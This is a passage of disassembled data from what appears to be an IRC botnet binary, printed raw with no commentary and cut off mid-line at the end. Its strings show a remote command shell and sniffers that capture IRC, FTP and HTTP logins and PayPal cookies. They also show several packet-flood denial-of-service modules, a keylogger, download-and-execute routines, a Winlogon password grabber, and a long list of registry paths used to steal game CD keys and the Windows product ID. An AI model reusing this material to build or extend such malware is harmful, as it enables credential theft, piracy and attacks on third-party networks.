64h, 2 db 3 aFailedToExecut db '- Failed to execute shell, error: <%d>.',0 align 10h aCmdQ db 'cmd /q',0 ; DATA XREF: sub_413CD4+88o align 4 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 unk_434D74 db 2Dh ; - ; DATA XREF: sub_413F5A+B2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell.',0 unk_434D9C db 2Dh ; - ; DATA XREF: sub_413F5A+82o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create shell stdin pipe, error: <%d>.',0 align 10h unk_434DE0 db 2Dh ; - ; DATA XREF: sub_413F5A+5Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434E20 db 2Dh ; - ; DATA XREF: seg000:00414138o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 8 dword_434E58 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h ; DATA XREF: seg000:004140AFo ; seg000:004140E5o dd 6F742064h, 65726320h, 20657461h, 64616552h, 6C656853h dd 6573206Ch, 6F697373h, 6874206Eh, 64616572h, 7265202Ch dd 3A726F72h, 64253C20h, 2E3Eh, 234032Dh, 6B636F73h, 3023473h dd 7245202Dh, 3A726F72h, 69614620h, 2064656Ch, 63206F74h dd 656E6E6Fh, 74207463h, 6174206Fh, 74656772h, 6572202Ch dd 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 234032Dh, 6B636F73h dd 3023473h, 7245202Dh, 3A726F72h, 69614620h, 2064656Ch dd 6F206F74h, 206E6570h, 6B636F73h, 29287465h, 6572202Ch dd 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 234032Dh, 6B636F73h dd 3023473h, 7541202Dh, 6E656874h, 61636974h, 6E6F6974h dd 69616620h, 2E64656Ch, 6D655220h, 2065746Fh, 72657375h dd 203A6469h, 21207325h, 7325203Dh, 2Eh, 234032Dh, 6B636F73h dd 3023473h, 6146202Dh, 64656C69h, 206F7420h, 72617473h dd 65732074h, 72657672h, 206E6F20h, 74726F50h, 2E642520h dd 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 0 dd 234032Dh, 6B636F73h, 3023473h, 6C43202Dh, 746E6569h dd 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h dd 3A732520h, 202C6425h, 76726553h, 74207265h, 61657268h dd 25203A64h, 2E64h, 4000500h, 7868746Bh, 0 dd 234032Dh, 70746674h, 2D030264h, 6C696620h, 65732065h dd 7420746Eh, 7325206Fh, 0 db 2Dh ; - db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aSendingDataPac db ' sending data packets to %s',0 db 2Dh ; - db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToOpenFi db ' Failed to open file: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 10h dword_4350D0 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: seg000:00414BC8o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:00414BA2o align 10h aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 4 aHttp_0 db 'HTTP',0 ; DATA XREF: seg002:00442244o align 10h aFtp db 'FTP',0 ; DATA XREF: seg002:00442240o off_435154 dd offset aFailedReturned ; DATA XREF: seg002:0044223Co ; ") failed, returned %d" dword_435158 dd 544F42h, 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h ; DATA XREF: seg002:00442238o dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 6F73202Dh, 74656B63h db 28h aFailedReturned db ') failed, returned %d',0 ; DATA XREF: seg001:off_435154o align 10h aHashin db ':!hashin',0 align 4 a_hashin db ':.hashin',0 align 4 aIdent_0 db ':!ident',0 a_ident db ':.ident',0 a_login db ':.Login',0 aLogin_0 db ':!Login',0 aLogin_1 db ':!login',0 a_login_0 db ':.login',0 a366 db '366 ',0 align 10h a302_0 db '302 ',0 align 4 aJoin_0 db 'JOIN #',0 align 10h aPsniff_0 db 'PSNIFF//',0 align 4 aPsniff_1 db '[PSNIFF]:',0 align 4 aBotSniff db 'Bot sniff',0 align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 aOper db 'oper ',0 align 4 aNick_1 db 'NICK ',0 align 10h aOper_0 db 'OPER ',0 align 4 aIrcSniff db 'IRC sniff',0 align 4 aPass_2 db 'PASS ',0 align 4 aUser_3 db 'USER ',0 align 4 a230 db '230 ',0 align 4 a220 db '220 ',0 align 4 aFtpSniff db 'FTP sniff',0 align 10h aSetCookie db 'Set-Cookie:',0 aPaypal_com db 'paypal.com',0 align 4 aPaypal_com_0 db 'PAYPAL.COM',0 align 4 aPaypal db 'PAYPAL',0 align 4 aPaypal_0 db 'paypal',0 align 4 aHttpSniff db 'HTTP sniff',0 align 10h aOpenssh_2 db 'OpenSSH_2',0 align 4 aServUFtpServer db 'Serv-U FTP Server',0 align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 align 10h aVulnSniff db 'VULN sniff',0 align 4 dd 234032Dh, 66696E73h, 2726566h, 56202D03h, 204E4C55h dd 66696E73h, 25222066h, 64253A73h, 6F742022h, 73252220h dd 2264253Ah, 202D203Ah, 22732522h, 0 dd 234032Dh, 66696E73h, 2726566h, 48202D03h, 20505454h dd 66696E73h, 25222066h, 64253A73h, 6F742022h, 73252220h dd 2264253Ah, 202D203Ah, 22732522h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 dword_435534 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_415825+31Fo dd 203A726Fh, 6425h unk_435550 db 2Dh ; - ; DATA XREF: seg000:00415C33o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 unk_435578 db 2Dh ; - ; DATA XREF: seg000:00415F64o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 10h unk_4355C0 db 2Dh ; - ; DATA XREF: seg000:00415EFDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 unk_43560C db 2Dh ; - ; DATA XREF: seg000:00415D41o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 unk_43562C db 2Dh ; - ; DATA XREF: seg000:00415D19o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 dword_43565C dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h ; DATA XREF: seg000:00415CD4o dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 db 2Dh ; - db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSendin db '- finished sending packets to %s',0 align 4 db 2Dh ; - db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 10h dword_435730 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: seg000:00416456o aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 unk_43575C db 2Dh ; - ; DATA XREF: sub_4164A9+29Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 unk_43577C db 2Dh ; - ; DATA XREF: seg000:0041681Eo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 dword_4357A4 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: seg000:00416ACBo aDoneWithFlood_ db '- Done with flood.',0 align 8 unk_4357C8 db 2Dh ; - ; DATA XREF: seg000:00416EF3o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_435818 db 2Dh ; - ; DATA XREF: seg000:00416E89o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_435868 db 2Dh ; - ; DATA XREF: seg000:00416BE4o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 unk_435888 db 2Dh ; - ; DATA XREF: seg000:00416BC5o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 10h unk_4358C0 db 2Dh ; - ; DATA XREF: seg000:00416B84o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketF_0 db '- Error: socket() failed, returned: <%d>.',0 align 4 unk_4358F4 db 2Dh ; - ; DATA XREF: seg000:0041721Co db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 unk_435928 db 2Dh ; - ; DATA XREF: sub_417272+371o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 align 8 unk_4359B8 db 2Dh ; - ; DATA XREF: sub_417272+31Fo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_0 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 unk_435A1C db 2Dh ; - ; DATA XREF: sub_417272+F5o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 unk_435A48 db 2Dh ; - ; DATA XREF: sub_417272+7Co db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 align 10h unk_435A90 db 2Dh ; - ; DATA XREF: sub_417272+5Fo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 10h unk_435AE0 db 2Dh ; - ; DATA XREF: sub_417272+29o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 unk_435B0C db 2Dh ; - ; DATA XREF: seg000:0041763Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 aSD db '%s%d ',0 ; DATA XREF: sub_41776E+1EAo align 4 unk_435B54 db 2Dh ; - ; DATA XREF: seg000:00417C25o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 10h dword_435B80 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_417CF8+35o dword_435B94 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_417CF8+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_417D70+60o align 4 dword_435BCC dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_417E10:loc_417E45o dword_435BE0 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h, 234032Dh ; DATA XREF: sub_417E10+20o dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch dd 0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_417F75+12o aWindow db 'Window',0 ; DATA XREF: sub_4181B2+23o ; sub_4183AB+26o align 4 aKey3 db 'Key3=',0 align 4 aNeverwinterNig db 'Neverwinter Nights (Hordes of the Underdark)',0 align 4 aKey2 db 'Key2=',0 align 4 aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 align 4 aKey1 db 'Key1=',0 align 10h aNwncdkey_ini db 'nwncdkey.ini',0 align 10h aNeverwinterN_1 db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 10h aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 10h aInstallpath db 'InstallPath',0 aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 10h aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 aSoftwareTechla db 'Software\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 aSoftwareWest_0 db 'Software\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 aSoftwareWest_1 db 'Software\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h aSoftwareWest_2 db 'Software\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h aSoftwareElectr db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h aSoftwareElec_0 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 aSoftwareElec_1 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 aSoftwareElec_2 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 aSoftwareElec_3 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 aSoftwareElec_4 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 8 aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 10h aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 aSoftwareEle_15 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 aSoftwareEle_16 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 8 aSoftwareEle_17 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 aSoftwareEle_18 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 aSoftwareEle_19 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h aSoftwareEle_20 db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 aSoftwareIgi2Re db 'Software\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00442AACo aCdkey db 'CDKey',0 ; DATA XREF: seg002:00442AA8o align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_442AA4o align 4 asc_436A18: ; DATA XREF: sub_4185EA+E7o ; sub_4185EA+F2o unicode 0, <=>,0 dword_436A1C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_4185EA+2Bo dd 0 dd 234032Dh, 2636364h, 66202D03h, 656C6961h, 6F742064h dd 6E657320h, 6F742064h, 6D655220h, 2065746Fh, 6D6D6F63h dd 20646E61h, 6C656873h, 6Ch, 234032Dh, 2636364h, 66202D03h dd 656C6961h, 6F742064h, 65706F20h, 6572206Eh, 65746F6Dh dd 6D6F6320h, 646E616Dh, 65687320h, 6C6Ch, 234032Dh, 2636364h dd 66202D03h, 656C6961h, 6F742064h, 65706F20h, 6F73206Eh dd 74656B63h, 0 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h dd 726F72h, 234032Dh, 2636364h, 66202D03h, 20656C69h, 73207325h dd 20746E65h, 25206F74h, 25282073h, 79622073h, 29736574h dd 2Eh, 234032Dh, 2636364h, 75202D03h, 6C62616Eh, 6F742065h dd 65706F20h, 6F73206Eh, 74656B63h, 0 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h dd 74756Fh, 43434401h, 4E455320h, 73252044h, 20692520h dd 25206925h, 169h, 234032Dh, 2636364h, 66202D03h, 20656C69h dd 73656F64h, 2074276Eh, 73697865h, 74h, 234032Dh, 2636364h dd 66202D03h, 656C6961h, 6F742064h, 6E696220h, 6F742064h dd 636F7320h, 74656Bh, 234032Dh, 2636364h, 66202D03h, 656C6961h dd 6F742064h, 65726320h, 20657461h, 6B636F73h, 7465h, 234032Dh dd 2636364h, 72202D03h, 69656365h, 20646576h, 66207325h dd 206D6F72h, 28207325h, 62207325h, 73657479h, 2E29h, 234032Dh dd 2636364h, 65202D03h, 726F7272h, 65706F20h, 676E696Eh dd 636F7320h, 74656Bh, 234032Dh, 2636364h, 65202D03h, 726F7272h dd 65706F20h, 676E696Eh, 6C696620h, 6F662065h, 72772072h dd 6E697469h, 67h, 622B61h, 234032Dh, 2636364h, 65202D03h dd 726F7272h, 616E7520h, 20656C62h, 77206F74h, 65746972h dd 6C696620h, 6F742065h, 73696420h, 6Bh, 234032Dh, 6E776F64h dd 64616F6Ch, 202D0302h, 20646162h, 206C7275h, 6420726Fh dd 6520736Eh, 726F7272h, 20746120h, 2E7325h, 234032Dh dd 6E776F64h, 64616F6Ch, 202D0302h, 61647075h, 66206574h dd 656C6961h, 65202C64h, 726F7272h, 65786520h, 69747563h dd 2520676Eh, 73h, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h dd 6E776F64h, 64616F6Ch, 25206465h, 4B66312Eh, 6F742042h dd 20732520h, 2E252040h, 424B6631h, 6365732Fh, 7075202Ch dd 69746164h, 6220676Eh, 746Fh, 234032Dh, 6E776F64h, 64616F6Ch dd 202D0302h, 6E65706Fh, 25206465h, 73h, 234032Dh, 6E776F64h dd 64616F6Ch, 202D0302h, 6E776F64h, 64616F6Ch, 25206465h dd 2066312Eh, 7420424Bh, 7325206Fh, 25204020h, 2066312Eh dd 732F424Bh, 6365h, 0 dd 3F500000h, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h dd 6E6F7277h, 72632067h, 25282063h, 3D212064h, 29642520h dd 2Eh, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E6F7277h dd 69662067h, 6973656Ch, 2820657Ah, 21206425h, 6425203Dh dd 2E29h, 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 20746F67h dd 61647075h, 25206574h, 25282073h, 29424B64h, 2Eh, 234032Dh dd 6E776F64h, 64616F6Ch, 202D0302h, 6E776F64h, 64616F6Ch dd 25206465h, 25282073h, 29424B64h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4194B8:loc_4194FBo ; sub_41B98C+104o aInvalid db 'Invalid',0 ; DATA XREF: sub_4194B8:loc_4194F5o aDisk db 'Disk',0 ; DATA XREF: sub_4194B8:loc_4194EFo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_4194B8:loc_4194E9o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4194B8:loc_4194E3o align 4 off_436E5C dd offset word_4D4152 ; DATA XREF: sub_4194B8:loc_4194DDo dword_436E60 dd 3Fh ; DATA XREF: sub_4194B8+1Fo aFailed db 'failed',0 ; DATA XREF: sub_419549:loc_419621o ; sub_419664+24o align 4 aSkb db '%sKB',0 ; DATA XREF: sub_419549+6Co align 4 unk_436E74 db 2Dh ; - ; DATA XREF: sub_419664+7Do db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 10h unk_436EB0 db 2Dh ; - ; DATA XREF: sub_419664+47o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_419725:loc_41975Bo dword_436EF0 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h ; DATA XREF: sub_419799+107o dd 73252064h, 73255Ch aS_3 db '%s\*',0 ; DATA XREF: sub_419799+14o align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFoundDFiles db 'found %d files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 aMsgina db 'MSGINA',0 align 4 aNwgina db 'NWGINA',0 align 4 aWinlogon db 'WINLOGON',0 align 4 dword_436F78 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: seg000:00419EBFo ; seg000:00419FABo dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_436FC8 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: seg000:00419FC5o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 